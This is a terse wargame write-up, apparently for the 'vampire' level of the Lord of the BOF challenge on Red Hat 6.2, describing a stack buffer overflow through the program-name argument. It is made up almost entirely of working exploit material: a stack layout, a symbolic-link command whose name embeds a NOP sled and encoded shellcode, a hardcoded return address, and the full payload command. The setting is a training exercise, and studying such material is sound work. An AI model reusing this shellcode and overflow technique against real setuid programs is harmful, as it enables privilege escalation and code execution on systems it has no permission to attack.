LOB Redhat 6.2 - vampire

vampire - argv hunter

Stack : saved_argc[4] + i[4] + buffer[40] + sfp[4] + ret[4] + Program name

Symbolic Link : ln -s skeleton `python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`

return address : 0xbfffff53

Payload : ./`python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "A"*44 + "\x53\xff\xff\xbf"'`

Using Symbolic Link + Program name address